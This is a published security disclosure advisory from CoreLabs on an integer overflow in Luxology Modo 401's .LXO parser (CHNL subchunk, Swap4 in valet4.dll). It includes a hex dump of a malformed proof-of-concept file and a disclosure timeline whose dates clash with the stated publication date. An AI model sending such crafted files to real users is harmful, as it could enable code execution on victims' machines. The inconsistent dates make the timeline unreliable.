-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Luxology Modo 401 .LXO Integer Overflow 1. *Advisory Information* Title: Luxology Modo 401 .LXO Integer Overflow Advisory Id: CORE-2009-0913 Advisory URL: http://www.coresecurity.com/content/luxology-modo-lxo-vulnerability Date published: 2009-03-02 Date of last update: 2010-03-02 Vendors contacted: Luxology LLC Release mode: User release 2. *Vulnerability Information* Class: Failure to Sanitize Data into a Different Plane [CWE-74] Impact: Code execution Remotely Exploitable: Yes (client side) Locally Exploitable: No Bugtraq ID: 38460 CVE Name: CVE-2010-0766 3. *Vulnerability Description* Modo 401[2] is an advanced polygon, subdivision surface, modeling, sculpting, 3D painting, animation and rendering package developed by Luxology LLC [3]. The function Swap4 in valet4.dll takes a length and an input buffer and proceeds to reverse DWORDs in the input buffer for proper endianness. In the case of the CHNL subchunk in which passing an invalid length to the Swap4 function would reverse every DWORD in the stack, both reversing SEH pointer near the bottom of the stack AND causing an exception An attacker can take full control of the machine where Luxology Modo 401 is installed by sending a specially crafted .LXO file and enticing the user to open it. 4. *Vulnerable packages* . Luxology Modo 401 - Windows . Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* The vendor did not provide fixes or workaround information. To determine if a .LXO is suspicious you could parse the content of the file searching for CHNL subchunk and validate its length. 6. *Credits* This vulnerability was discovered and researched by Diego Juarez and Nadia Rodriguez from Core Security Technologies during Bugweek 2009 [1]. 7. *Technical Description / Proof of Concept Code* The LXO file format is derived from the metaformat for binary files described in "EA IFF 85 Standard for Interchange Format Files."[4] Mainly consisting of chunks and subchunks. While parsing subchunks, the function Swap4 in valet4.dll takes a length and an input buffer and proceeds to reverse DWORDs in the input buffer for proper endianness. A vulnerability was observed in the case of the CHNL subchunk in which passing an invalid length to the Swap4 function would reverse every DWORD in the stack, both reversing SEH pointer near the bottom of the stack AND causing an exception (ie: forcing a call to the now reversed SEH pointer). We belive this condition may be exploitable in some scenarios as long as the address of function __except_handler3 in kernel32.dll has a least significant byte < 0x7F. Proof of concept: Here is a 464 bytes long LXO file demonstrating the issue /----- 00000000: 46 4F 52 4D-00 00 01 C4-4C 58 4F 42-54 41 47 53 FORM ?-LXOBTAGS 00000010: 00 00 00 08-44 65 66 61-75 6C 74 00-4C 41 59 52 ?Default LAYR 00000020: 00 00 00 1A-00 00 00 00-00 00 00 00-00 00 00 00 ? 00000030: 00 00 00 00-6C 61 79 65-72 6E 61 6D-65 00 50 4E layername PN 00000040: 54 53 00 00-00 60 BF 00-00 00 BF 00-00 00 BF 00 TS `+ + + 00000050: 00 00 3F 00-00 00 BF 00-00 00 BF 00-00 00 3F 00 ? + + ? 00000060: 00 00 BF 00-00 00 3F 00-00 00 BF 00-00 00 BF 00 + ? + + 00000070: 00 00 3F 00-00 00 BF 00-00 00 3F 00-00 00 BF 00 ? + ? + 00000080: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ? + ? 00000090: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ? + ? 000000A0: 00 00 3F 00-00 00 42 42-4F 58 00 00-00 18 BF 00 ? BBOX ?+ 000000B0: 00 00 BF 00-00 00 BF 00-00 00 3F 00-00 00 3F 00 + + ? ? 000000C0: 00 00 3F 00-00 00 50 4F-4C 53 00 00-00 40 46 41 ? POLS @FA 000000D0: 43 45 00 04-00 00 00 01-00 02 00 03-00 04 00 00 CE ? ? ? ? ? 000000E0: 00 04 00 05-00 01 00 04-00 01 00 05-00 06 00 02 ? ? ? ? ? ? ? ? 000000F0: 00 04 00 03-00 02 00 06-00 07 00 04-00 00 00 03 ? ? ? ? ? ? 00000100: 00 07 00 04-00 04 00 04-00 07 00 06-00 05 50 54 ? ? ? ? ?PT 00000110: 41 47 00 00-00 1C 53 55-52 46 00 00-00 00 00 01 AG ?SURF ? 00000120: 00 00 00 02-00 00 00 03-00 00 00 04-00 00 00 05 ? ? ? ? 00000130: 00 00 53 55-52 46 00 00-00 2A 44 65-66 61 75 6C SURF *Defaul 00000140: 74 00 00 00-43 4F 4C 52-00 0E 3F 48-C8 8A 3F 48 t COLR ??H+&#232;?H 00000150: C8 8A 3F 48-C8 8A 00 00-44 49 46 46-00 06 3F 80 +&#232;?H+&#232; DIFF ?? 00000160: 00 00 00 00-49 54 45 4D-00 00 00 64-70 6F 6C 79 ITEM dpoly 00000170: 52 65 6E 64-65 72 00 06-00 00 00 00-00 03 4C 49 Render ? ?LI 00000180: 4E 4B 00 10-70 61 72 65-6E 74 00 00-00 00 00 03 NK ?parent ? 00000190: 00 00 00 00-43 48 4E 56-00 22 61 6D-62 43 6F 6C CHNV "ambCol 000001A0: 6F 72 00 00-00 02 00 00-00 03 52 00-40 00 00 00 or ? ?R @ 000001B0: 47 00 3F 80-00 00 42 00-3F 80 00 00-43 48 4E 4C G ? B ? CHNL 000001C0: 00 12 62 75-67 68 65 72-65 00 00 01-70 6E 78 21 ?bughere ?pnx! - -----/ 8. *Report Timeline* . 2009-11-06: Core completes the support form trying to reach a security contact . 2009-11-13: Luxology LLC support team doesn't respond any mail. Core contacts CERT tring to reach a valid security contact at Luxology LLC. . 2009-11-16: CERT acknowledge the comunication, and Core reschedule the advisory to November 30th, 2009 based on CERT recomendations. . 2009-03-01: No response from Luxology LLC. . 2009-03-02: The advisory CORE-2009-0913 is published. 9. *References* [1] The authors participated in Core Bugweek 2009 as members of the team "Gimbal Lock N Load". [2] http://www.luxology.com/modo/ [3] http://www.luxology.com/ [4] http://www.martinreddy.net/gfx/2d/IFF.txt 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.a sc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuNb5cACgkQyNibggitWa12/ACcC02DZ6CO4m4rGbtHxNTw97Xu D80Anjwp3e0eHeNHzEmRQr/zIS/vBFKK =FwUB -----END PGP SIGNATURE-----